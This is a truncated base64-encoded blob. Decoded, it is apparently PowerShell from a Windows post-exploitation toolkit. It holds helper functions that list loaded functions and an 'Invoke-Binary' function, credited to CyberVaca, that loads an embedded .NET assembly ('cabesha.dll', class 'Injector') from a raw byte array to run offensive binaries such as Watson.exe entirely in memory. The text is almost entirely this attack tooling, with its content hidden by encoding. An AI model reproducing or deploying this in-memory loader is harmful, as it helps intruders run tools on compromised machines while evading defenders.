YmplY3QgRGVjbGFyaW5nVHlwZSxuYW1lIC1VbmlxdWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgKQogICAgICAgICAgICBbYXJyYXldJG1ldGhvZHMgPSBmb3JlYWNoICgkYXNzZW1ibHlwcm9wZXJ0aWVzIGluICRvYmopIHsgJG5hbWVzcGFjZSA9ICRhc3NlbWJseXByb3BlcnRpZXMuRGVjbGFyaW5nVHlwZS50b3N0cmluZygpOyAkbWV0b2RvID0gJGFzc2VtYmx5cHJvcGVydGllcy5uYW1lLnRvc3RyaW5nKCk7ICJbIiArICRuYW1lc3BhY2UgKyAiXSIgKyAiOjoiICsgJG1ldG9kbyArICIoKSIgfQogICAgICAgICAgICAkbWV0aG9kcyA9ICRtZXRob2RzIHwgU2VsZWN0LU9iamVjdCAtVW5pcXVlIDsgJGdsb2JhbDpzaG93bWV0aG9kcyA9ICAgKCRtZXRob2RzfCB3aGVyZSB7ICRnbG9iYWw6c2hvd21ldGhvZHMgIC1ub3Rjb250YWlucyAkX30pIHwgZm9yZWFjaCB7IiRfYG4ifQogICAgICAgICAgICAKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGF1dG8gewpbYXJyYXldJGZ1bmNpb25lc19udWV2YXMgPSAobHMgZnVuY3Rpb246IHwgV2hlcmUtT2JqZWN0IHsoJF8ubmFtZSkuTGVuZ3RoIC1nZSAiNCIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJDbGVhci1Ib3N0KiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJDb252ZXJ0RnJvbS1TZGRsU3RyaW5nIiAtYW5kICRfLm5hbWUgLW5vdGxpa2UgIkZvcm1hdC1IZXgiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiR2V0LUZpbGVIYXNoKiIgLWFuZCAkXy5uYW1lIC1ub3RsaWtlICJHZXQtVmVyYioiIC1hbmQgJF8ubmFtZSAtbm90bGlrZSAiaGVscCIgLWFuZCAkXy5uYW1lIC1uZSAiSW1wb3J0LVBvd2VyU2hlbGxEYXRhRmlsZSIgLWFuZCAkXy5uYW1lIC1uZSAiSW1wb3J0U3lzdGVtTW9kdWxlcyIgLWFuZCAkXy5uYW1lIC1uZSAiTWFpbiIgLWFuZCAkXy5uYW1lIC1uZSAibWtkaXIiIC1hbmQgJF8ubmFtZSAtbmUgImNkLi4iIC1hbmQgJF8ubmFtZSAtbmUgIm1rZGlyIiAtYW5kICRfLm5hbWUgLW5lICJtb3JlIiAtYW5kICRfLm5hbWUgLW5lICJOZXctR3VpZCIgLWFuZCAkXy5uYW1lIC1uZSAiTmV3LVRlbXBvcmFyeUZpbGUiIC1hbmQgJF8ubmFtZSAtbmUgIlBhdXNlIiAtYW5kICRfLm5hbWUgLW5lICJUYWJFeHBhbnNpb24yIiAtYW5kICRfLm5hbWUgLW5lICJwcm9tcHQiIC1hbmQgJF8ubmFtZSAtbmUgIm1lbnUiIC1hbmQgJF8ubmFtZSAtbmUgInNob3ctbWV0aG9kcy1sb2FkZWQifSB8IHNlbGVjdC1vYmplY3QgbmFtZSApLm5hbWUKJG11ZXN0cmFfZnVuY2lvbmVzID0gKCRmdW5jaW9uZXNfbnVldmFzIHwgd2hlcmUgeyRmdW5jaW9uZXNfcHJlY2FyZ2FkYXMgLW5vdGNvbnRhaW5zICRffSkgfCBmb3JlYWNoIHsiJF9gbiJ9CiRtdWVzdHJhX2Z1bmNpb25lcyA9ICRtdWVzdHJhX2Z1bmNpb25lcyAtcmVwbGFjZSAiICAiLCIiIAokbXVlc3RyYV9mdW5jaW9uZXMKCgp9CmZ1bmN0aW9uIEludm9rZS1CaW5hcnkge3BhcmFtKCRhcmcpCiAgICAkaGVscD1AIgouU1lOT1BTSVMKICAgIEV4ZWN1dGUgYmluYXJpZXMgZnJvbSBtZW1vcnkuCiAgICBQb3dlclNoZWxsIEZ1bmN0aW9uOiBJbnZva2UtQmluYXJ5CiAgICBBdXRob3I6IEx1aXMgVmFjYXMgKEN5YmVyVmFjYSkKCiAgICBSZXF1aXJlZCBkZXBlbmRlbmNpZXM6IE5vbmUKICAgIE9wdGlvbmFsIGRlcGVuZGVuY2llczogTm9uZQouREVTQ1JJUFRJT04KICAgIAouRVhBTVBMRQogICAgSW52b2tlLUJpbmFyeSAvb3B0L2NzaGFycC9XYXRzb24uZXhlCiAgICBJbnZva2UtQmluYXJ5IC9vcHQvY3NoYXJwL0JpbmFyeS5leGUgcGFyYW0xLHBhcmFtMixwYXJhbTMKICAgIEludm9rZS1CaW5hcnkgL29wdC9jc2hhcnAvQmluYXJ5LmV4ZSAncGFyYW0xLCBwYXJhbTIsIHBhcmFtMycKICAgIERlc2NyaXB0aW9uCiAgICAtLS0tLS0tLS0tLQogICAgRnVuY3Rpb24gdGhhdCBleGVjdXRlIGJpbmFyaWVzIGZyb20gbWVtb3J5LgoKCiJACmlmICgkYXJnIC1lcSAkbnVsbCkgeyRoZWxwfSBlbHNlIHsKW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dQCg3NywgOTAsIDE0NCwgMCwgMywgMCwgMCwgMCwgNCwgMCwgMCwgMCwgMjU1LCAyNTUsIDAsIDAsIDE4NCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNjQsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDEyOCwgMCwgMCwgMCwgMTQsIDMxLCAxODYsIDE0LCAwLCAxODAsIDksIDIwNSwgMzMsIDE4NCwgMSwgNzYsIDIwNSwgMzMsIDg0LCAxMDQsIDEwNSwgMTE1LCAzMiwgMTEyLCAxMTQsIDExMSwgMTAzLCAxMTQsIDk3LCAxMDksIDMyLCA5OSwgOTcsIDExMCwgMTEwLCAxMTEsIDExNiwgMzIsIDk4LCAxMDEsIDMyLCAxMTQsIDExNywgMTEwLCAzMiwgMTA1LCAxMTAsIDMyLCA2OCwgNzksIDgzLCAzMiwgMTA5LCAxMTEsIDEwMCwgMTAxLCA0NiwgMTMsIDEzLCAxMCwgMzYsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDgwLCA2OSwgMCwgMCwgNzYsIDEsIDMsIDAsIDI0NSwgMTgyLCAyMzEsIDkyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyMjQsIDAsIDIsIDMzLCAxMSwgMSwgMTEsIDAsIDAsIDEwLCAwLCAwLCAwLCA2LCAwLCAwLCAwLCAwLCAwLCAwLCA5NCwgNDEsIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgMCwgMCwgMTYsIDAsIDMyLCAwLCAwLCAwLCAyLCAwLCAwLCA0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxMjgsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDAsIDAsIDAsIDMsIDAsIDk2LCAxMzMsIDAsIDAsIDE2LCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMTYsIDAsIDAsIDE2LCAwLCAwLCAwLCAwLCAwLCAwLCAxNiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMTIsIDQxLCAwLCAwLCA3OSwgMCwgMCwgMCwgMCwgNjQsIDAsIDAsIDQwLCAzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMTIsIDAsIDAsIDAsIDIxMiwgMzksIDAsIDAsIDI4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAzMiwgMCwgMCwgOCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgOCwgMzIsIDAsIDAsIDcyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA0NiwgMTE2LCAxMDEsIDEyMCwgMTE2LCAwLCAwLCAwLCAxMDAsIDksIDAsIDAsIDAsIDMyLCAwLCAwLCAwLCAxMCwgMCwgMCwgMCwgMiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMzIsIDAsIDAsIDk2LCA0NiwgMTE0LCAxMTUsIDExNCwgOTksIDAsIDAsIDAsIDQwLCAzLCAwLCAwLCAwLCA2NCwgMCwgMCwgMCwgNCwgMCwgMCwgMCwgMTIsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAwLCA2NCwgNDYsIDExNCwgMTAxLCAxMDgsIDExMSwgOTksIDAsIDAsIDEyLCAwLCAwLCAwLCAwLCA5NiwgMCwgMCwgMCwgMiwgMCwgMCwgMCwgMTYsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAwLCA2NiwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgNjQsIDQxLCAwLCAwLCAwLCAwLCAwLCAwLCA3MiwgMCwgMCwgMCwgMiwgMCwgNSwgMCwgMTk2LCAzMiwgMCwgMCwgMTYsIDcsIDAsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDAsIDE5LCA0OCwgNiwgMCwgMTA0LCAwLCAwLCAwLCAxLCAwLCAwLCAxNywgMCwgMTE1LCAxNSwgMCwgMCwgMTAsIDEwLCA2LCA0MCwgMTYsIDAsIDAsIDEwLCAwLCA2LCA0MCwgMTcsIDAsIDAsIDEwLCAwLCAyLCAyMiwgMTU0LCAxMTEsIDE4LCAwLCAwLCAxMCwgMTEsIDcsIDQwLCAxOSwgMCwgMCwgMTAsIDEyLCA4LCA0MCwgMjAsIDAsIDAsIDEwLCAxMywgOSwgMTExLCAyMSwgMCwgMCwgMTAsIDE5LCA0LCAxNywgNCwgMjAsIDIzLCAxNDEsIDEsIDAsIDAsIDEsIDE5LCA3LCAxNywgNywgMjIsIDIsIDIzLCA0MCwgMSwgMCwgMCwgNDMsIDQwLCAyLCAwLCAwLCA0MywgMTYyLCAxNywgNywgMTExLCAyNCwgMCwgMCwgMTAsIDM4LCA2LCAxMTEsIDE4LCAwLCAwLCAxMCwgMTksIDUsIDE3LCA1LCAxOSwgNiwgNDMsIDAsIDE3LCA2LCA0MiwgNjYsIDgzLCA3NCwgNjYsIDEsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDEyLCAwLCAwLCAwLCAxMTgsIDUyLCA0NiwgNDgsIDQ2LCA1MSwgNDgsIDUxLCA0OSwgNTcsIDAsIDAsIDAsIDAsIDUsIDAsIDEwOCwgMCwgMCwgMCwgNTYsIDIsIDAsIDAsIDM1LCAxMjYsIDAsIDAsIDE2NCwgMiwgMCwgMCwgNjgsIDMsIDAsIDAsIDM1LCA4MywgMTE2LCAxMTQsIDEwNSwgMTEwLCAxMDMsIDExNSwgMCwgMCwgMCwgMCwgMjMyLCA1LCAwLCAwLCA4LCAwLCAwLCAwLCAzNSwgODUsIDgzLCAwLCAyNDAsIDUsIDAsIDAsIDE2LCAwLCAwLCAwLCAzNSwgNzEsIDg1LCA3MywgNjgsIDAsIDAsIDAsIDAsIDYsIDAsIDAsIDE2LCAxLCAwLCAwLCAzNSwgNjYsIDEwOCwgMTExLCA5OCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMiwgMCwgMCwgMSwgNzEsIDIxLCAyLCAwLCA5LCA4LCAwLCAwLCAwLCAyNTAsIDM3LCA1MSwgMCwgMjIsIDAsIDAsIDEsIDAsIDAsIDAsIDI1LCAwLCAwLCAwLCAyLCAwLCAwLCAwLCAxLCAwLCAwLCAwLCAxLCAwLCAwLCAwLCAyNCwgMCwgMCwgMCwgMTIsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDIsIDAsIDAsIDAsIDAsIDAsIDEwLCAwLCAxLCAwLCAwLCAwLCAwLCAwLCA2LCAwLCA1NSwgMCwgNDgsIDAsIDYsIDAsIDEwMSwgMCwgNzUsIDAsIDYsIDAsIDE1MCwgMCwgMTMyLCAwLCA2LCAwLCAxNzMsIDAsIDEzMiwgMCwgNiwgMCwgMjAyLCAwLCAxMzIsIDAsIDYsIDAsIDIzMywgMCwgMTMyLCAwLCA2LCAwLCAyLCAxLCAxMzIsIDAsIDYsIDAsIDI3LCAxLCAxMzIsIDAsIDYsIDAsIDU0LCAxLCAxMzIsIDAsIDYsIDAsIDgxLCAxLCAxMzIsIDAsIDYsIDAsIDEzNywgMSwgMTA2LCAxLCA2LCAwLCAxNTcsIDEsIDEzMiwgMCwgNiwgMCwgMjAxLCAxLCAxODIsIDEsIDU1LCAwLCAyMjEsIDEsIDAsIDAsIDYsIDAsIDEyLCAyLCAyMzYsIDEsIDYsIDAsIDQ0LCAyLCAyMzYsIDEsIDYsIDAsIDkyLCAyLCA4MiwgMiwgNiwgMCwgMTA1LCAyLCA0OCwgMCwgNiwgMCwgMTEzLCAyLCA4MiwgMiwgNiwgMCwgMTQ5LCAyLCA0OCwgMCwgNiwgMCwgMTc0LCAyLCAxMzIsIDAsIDYsIDAsIDE4OCwgMiwgMTMyLCAwLCAxMCwgMCwgMjM4LCAyLCAyMjYsIDIsIDYsIDAsIDIwLCAzLCAyNDksIDIsIDYsIDAsIDQ3LCAzLCAxMzIsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDAsIDAsIDAsIDAsIDEsIDAsIDEsIDAsIDEyOSwgMSwgMTYsIDAsIDIyLCAwLCAzMSwgMCwgNSwgMCwgMSwgMCwgMSwgMCwgODAsIDMyLCAwLCAwLCAwLCAwLCAxNTAsIDAsIDYyLCAwLCAxMCwgMCwgMSwgMCwgMCwgMCwgMSwgMCwgNzAsIDAsIDE3LCAwLCAxMjYsIDAsIDE2LCAwLCAyNSwgMCwgMTI2LCAwLCAxNiwgMCwgMzMsIDAsIDEyNiwgMCwgMTYsIDAsIDQxLCAwLCAxMjYsIDAsIDE2LCAwLCA0OSwgMCwgMTI2LCAwLCAxNiwgMCwgNTcsIDAsIDEyNiwgMCwgMTYsIDAsIDY1LCAwLCAxMjYsIDAsIDE2LCAwLCA3MywgMCwgMTI2LCAwLCAxNiwgMCwgODEsIDAsIDEyNiwgMCwgMTYsIDAsIDg5LCAwLCAxMjYsIDAsIDIxLCAwLCA5NywgMCwgMTI2LCAwLCAxNiwgMCwgMTA1LCAwLCAxMjYsIDAsIDI2LCAwLCAxMjEsIDAsIDEyNiwgMCwgMzIsIDAsIDEyOSwgMCwgMTI2LCAwLCAzNywgMCwgMTM3LCAwLCAxMjYsIDAsIDM3LCAwLCAxNDUsIDAsIDEyNCwgMiwgNDEsIDAsIDE0NSwgMCwgMTMxLCAyLCA0MSwgMCwgOSwgMCwgMTQwLCAyLCA0NywgMCwgMTYxLCAwLCAxNTcsIDIsIDUxLCAwLCAxNjksIDAsIDE4MywgMiwgNTcsIDAsIDE2OSwgMCwgMTk5LCAyLCA2NCwgMCwgMTg1LCAwLCAzNCwgMywgNjksIDAsIDE4NSwgMCwgMzksIDMsIDkwLCAwLCAyMDEsIDAsIDU4LCAzLCAxMDMsIDAsIDQ2LCAwLCAxMSwgMCwgMTI2LCAwLCA0NiwgMCwgMTksIDAsIDE4MiwgMCwgNDYsIDAsIDI3LCAwLCAxOTUsIDAsIDQ2LCAwLCAzNSwgMCwgMTk1LCAwLCA0NiwgMCwgNDMsIDAsIDE5NSwgMCwgNDYsIDAsIDUxLCAwLCAxODIsIDAsIDQ2LCAwLCA1OSwgMCwgMjAxLCAwLCA0NiwgMCwgNjcsIDAsIDE5NSwgMCwgNDYsIDAsIDgzLCAwLCAxOTUsIDAsIDQ2LCAwLCA5OSwgMCwgMjIxLCAwLCA0NiwgMCwgMTA3LCAwLCAyMzAsIDAsIDQ2LCAwLCAxMTUsIDAsIDIzOSwgMCwgMTEwLCAwLCA0LCAxMjgsIDAsIDAsIDEsIDAsIDAsIDAsIDE3MSwgMjcsIDEzMCwgNzIsIDAsIDAsIDAsIDAsIDAsIDAsIDc0LCAyLCAwLCAwLCA0LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxLCAwLCAzOSwgMCwgMCwgMCwgMCwgMCwgNCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMjE0LCAyLCAwLCAwLCAwLCAwLCA0NSwgMCwgODYsIDAsIDQ3LCAwLCA4NiwgMCwgMCwgMCwgMCwgMCwgMCwgNjAsIDc3LCAxMTEsIDEwMCwgMTE3LCAxMDgsIDEwMSwgNjIsIDAsIDk5LCA5NywgOTgsIDEwMSwgMTE1LCAxMDQsIDk3LCA0NiwgMTAwLCAxMDgsIDEwOCwgMCwgNzMsIDExMCwgMTA2LCAxMDEsIDk5LCAxMTYsIDExMSwgMTE0LCAwLCA2NywgOTcsIDk4LCAxMDEsIDExNSwgMTA0LCA5NywgMCwgMTA5LCAxMTUsIDk5LCAxMTEsIDExNCwgMTA4LCAxMDUsIDk4LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDAsIDc5LCA5OCwgMTA2LCAxMDEsIDk5LCAxMTYsIDAsIDY5LCAxMjAsIDEwMSwgOTksIDExNywgMTE2LCAxMDEsIDAsIDk3LCAxMTQsIDEwMywgMTE1LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA4MiwgMTE3LCAxMTAsIDExNiwgMTA1LCAxMDksIDEwMSwgNDYsIDg2LCAxMDEsIDExNCwgMTE1LCAxMDUsIDExMSwgMTEwLCAxMDUsIDExMCwgMTAzLCAwLCA4NCwgOTcsIDExNCwgMTAzLCAxMDEsIDExNiwgNzAsIDExNCwgOTcsIDEwOSwgMTAxLCAxMTksIDExMSwgMTE0LCAxMDcsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA0NiwgOTksIDExNiwgMTExLCAxMTQsIDAsIDgzLCAxMjEsIDExNSwgMTE2LCAxMDEsIDEwOSwgNDYsIDgyLCAxMDEsIDEwMiwgMTA4LCAxMDEsIDk5LCAxMTYsIDEwNSwgMTExLCAxMTAsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgODQsIDEwNSwgMTE2LCAxMDgsIDEwMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDY1LCAxMTUsIDExNSwgMTAxLCAxMDksIDk4LCAxMDgsIDEyMSwgNjgsIDEwMSwgMTE1LCA5OSwgMTE0LCAxMDUsIDExMiwgMTE2LCAxMDUsIDExMSwgMTEwLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA2NywgMTExLCAxMTAsIDEwMiwgMTA1LCAxMDMsIDExNywgMTE0LCA5NywgMTE2LCAxMDUsIDExMSwgMTEwLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA2NywgMTExLCAxMDksIDExMiwgOTcsIDExMCwgMTIxLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA4MCwgMTE0LCAxMTEsIDEwMCwgMTE3LCA5OSwgMTE2LCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjUsIDExNSwgMTE1LCAxMDEsIDEwOSwgOTgsIDEwOCwgMTIxLCA2NywgMTExLCAxMTIsIDEyMSwgMTE0LCAxMDUsIDEwMywgMTA0LCAxMTYsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDg0LCAxMTQsIDk3LCAxMDAsIDEwMSwgMTA5LCA5NywgMTE0LCAxMDcsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDY3LCAxMTcsIDEwOCwgMTE2LCAxMTcsIDExNCwgMTAxLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgODIsIDExNywgMTEwLCAxMTYsIDEwNSwgMTA5LCAxMDEsIDQ2LCA3MywgMTEwLCAxMTYsIDEwMSwgMTE0LCAxMTEsIDExMiwgODMsIDEwMSwgMTE0LCAxMTgsIDEwNSwgOTksIDEwMSwgMTE1LCAwLCA2NywgMTExLCAxMDksIDg2LCAxMDUsIDExNSwgMTA1LCA5OCwgMTA4LCAxMDEsIDY1LCAxMTYsIDExNiwgMTE0LCAxMDUsIDk4LCAxMTcsIDExNiwgMTAxLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDg2LCAxMDEsIDExNCwgMTE1LCAxMDUsIDExMSwgMTEwLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgNjgsIDEwNSwgOTcsIDEwMywgMTEwLCAxMTEsIDExNSwgMTE2LCAxMDUsIDk5LCAxMTUsIDAsIDY4LCAxMDEsIDk4LCAxMTcsIDEwMywgMTAzLCA5NywgOTgsIDEwOCwgMTAxLCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgNjgsIDEwMSwgOTgsIDExNywgMTAzLCAxMDMsIDEwNSwgMTEwLCAxMDMsIDc3LCAxMTEsIDEwMCwgMTAxLCAxMTUsIDAsIDgzLCAxMjEsIDExNSwgMTE2LCAxMDEsIDEwOSwgNDYsIDgyLCAxMTcsIDExMCwgMTE2LCAxMDUsIDEwOSwgMTAxLCA0NiwgNjcsIDExMSwgMTA5LCAxMTIsIDEwNSwgMTA4LCAxMDEsIDExNCwgODMsIDEwMSwgMTE0LCAxMTgsIDEwNSwgOTksIDEwMSwgMTE1LCAwLCA2NywgMTExLCAxMDksIDExMiwgMTA1LCAxMDgsIDk3LCAxMTYsIDEwNSwgMTExLCAxMTAsIDgyLCAxMDEsIDEwOCwgOTcsIDEyMCwgOTcsIDExNiwgMTA1LCAxMTEsIDExMCwgMTE1LCA2NSwgMTE2LCAxMTYsIDExNCwgMTA1LCA5OCwgMTE3LCAxMTYsIDEwMSwgMCwgODIsIDExNywgMTEwLCAxMTYsIDEwNSwgMTA5LCAxMDEsIDY3LCAxMTEsIDEwOSwgMTEyLCA5NywgMTE2LCAxMDUsIDk4LCAxMDUsIDEwOCwgMTA1LCAxMTYsIDEyMSwgNjUsIDExNiwgMTE2LCAxMTQsIDEwNSwgOTgsIDExNywgMTE2LCAxMDEsIDAsIDk5LCA5NywgOTgsIDEwMSwgMTE1LCAxMDQsIDk3LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA3MywgNzksIDAsIDgzLCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgODcsIDExNCwgMTA1LCAxMTYsIDEwMSwgMTE0LCAwLCA2NywgMTExLCAxMTAsIDExNSwgMTExLCAxMDgsIDEwMSwgMCwgODQsIDEwMSwgMTIwLCAxMTYsIDg3LCAxMTQsIDEwNSwgMTE2LCAxMDEsIDExNCwgMCwgODMsIDEwMSwgMTE2LCA3OSwgMTE3LCAxMTYsIDAsIDgzLCAxMDEsIDExNiwgNjksIDExNCwgMTE0LCAxMTEsIDExNCwgMCwgODQsIDExMSwgODMsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCAwLCA2NywgMTExLCAxMTAsIDExOCwgMTAxLCAxMTQsIDExNiwgMCwgNzAsIDExNCwgMTExLCAxMDksIDY2LCA5NywgMTE1LCAxMDEsIDU0LCA1MiwgODMsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCAwLCA2NSwgMTE1LCAxMTUsIDEwMSwgMTA5LCA5OCwgMTA4LCAxMjEsIDAsIDc2LCAxMTEsIDk3LCAxMDAsIDAsIDc3LCAxMDEsIDExNiwgMTA0LCAxMTEsIDEwMCwgNzMsIDExMCwgMTAyLCAxMTEsIDAsIDEwMywgMTAxLCAxMTYsIDk1LCA2OSwgMTEwLCAxMTYsIDExNCwgMTIxLCA4MCwgMTExLCAxMDUsIDExMCwgMTE2LCAwLCA4MywgMTIxLCAxMTUsIDExNiwgMTAxLCAxMDksIDQ2LCA2NywgMTExLCAxMTQsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgNzYsIDEwNSwgMTEwLCAxMTMsIDAsIDY5LCAxMTAsIDExNywgMTA5LCAxMDEsIDExNCwgOTcsIDk4LCAxMDgsIDEwMSwgMCwgODMsIDEyMSwgMTE1LCAxMTYsIDEwMSwgMTA5LCA0NiwgNjcsIDExMSwgMTA4LCAxMDgsIDEwMSwgOTksIDExNiwgMTA1LCAxMTEsIDExMCwgMTE1LCA0NiwgNzEsIDEwMSwgMTEwLCAxMDEsIDExNCwgMTA1LCA5OSwgMCwgNzMsIDY5LCAxMTAsIDExNywgMTA5LCAxMDEsIDExNCwgOTcsIDk4LCAxMDgsIDEwMSwgOTYsIDQ5LCAwLCA4MywgMTA3LCAxMDUsIDExMiwgMCwgODQsIDExMSwgNjUsIDExNCwgMTE0LCA5NywgMTIxLCAwLCA3NywgMTAxLCAxMTYsIDEwNCwgMTExLCAxMDAsIDY2LCA5NywgMTE1LCAxMDEsIDAsIDczLCAxMTAsIDExOCwgMTExLCAxMDcsIDEwMSwgMCwgMCwgMCwgMCwgMCwgMywgMzIsIDAsIDAsIDAsIDAsIDAsIDM1LCAxODEsIDIwLCAyMzcsIDE3OCwgMjIsIDIwNSwgNzQsIDE0NSwgOTUsIDE3MSwgMzEsIDIyNCwgMjUxLCAyMjUsIDE2MywgMCwgOCwgMTgzLCAxMjIsIDkyLCA4NiwgMjUsIDUyLCAyMjQsIDEzNywgNSwgMCwgMSwgMTQsIDI5LCAxNCwgNCwgMzIsIDEsIDEsIDE0LCA0LCAzMiwgMSwgMSwgMiwgNSwgMzIsIDEsIDEsIDE3LCA1NywgNCwgMzIsIDEsIDEsIDgsIDMsIDMyLCAwLCAxLCA1LCAwLCAxLCAxLCAxOCwgNzcsIDMsIDMyLCAwLCAxNCwgNSwgMCwgMSwgMjksIDUsIDE0LCA2LCAwLCAxLCAxOCwgODUsIDI5LCA1LCA0LCAzMiwgMCwgMTgsIDg5LCAxNiwgMTYsIDEsIDIsIDIxLCAxOCwgOTcsIDEsIDMwLCAwLCAyMSwgMTgsIDk3LCAxLCAzMCwgMCwgOCwgMywgMTAsIDEsIDE0LCAxMiwgMTYsIDEsIDEsIDI5LCAzMCwgMCwgMjEsIDE4LCA5NywgMSwgMzAsIDAsIDYsIDMyLCAyLCAyOCwgMjgsIDI5LCAyOCwgMTUsIDcsIDgsIDE4LCA2OSwgMTQsIDI5LCA1LCAxOCwgODUsIDE4LCA4OSwgMTQsIDE0LCAyOSwgMjgsIDU1LCAxLCAwLCAyNiwgNDYsIDc4LCA2OSwgODQsIDcwLCAxMTQsIDk3LCAxMDksIDEwMSwgMTE5LCAxMTEsIDExNCwgMTA3LCA0NCwgODYsIDEwMSwgMTE0LCAxMTUsIDEwNSwgMTExLCAxMTAsIDYxLCAxMTgsIDUyLCA0NiwgNTMsIDEsIDAsIDg0LCAxNCwgMjAsIDcwLCAxMTQsIDk3LCAxMDksIDEwMSwgMTE5LCAxMTEsIDExNCwgMTA3LCA2OCwgMTA1LCAxMTUsIDExMiwgMTA4LCA5NywgMTIxLCA3OCwgOTcsIDEwOSwgMTAxLCAwLCAxMiwgMSwgMCwgNywgOTksIDk3LCA5OCwgMTAxLCAxMTUsIDEwNCwgOTcsIDAsIDAsIDUsIDEsIDAsIDAsIDAsIDAsIDE5LCAxLCAwLCAxNCwgNjcsIDExMSwgMTEyLCAxMjEsIDE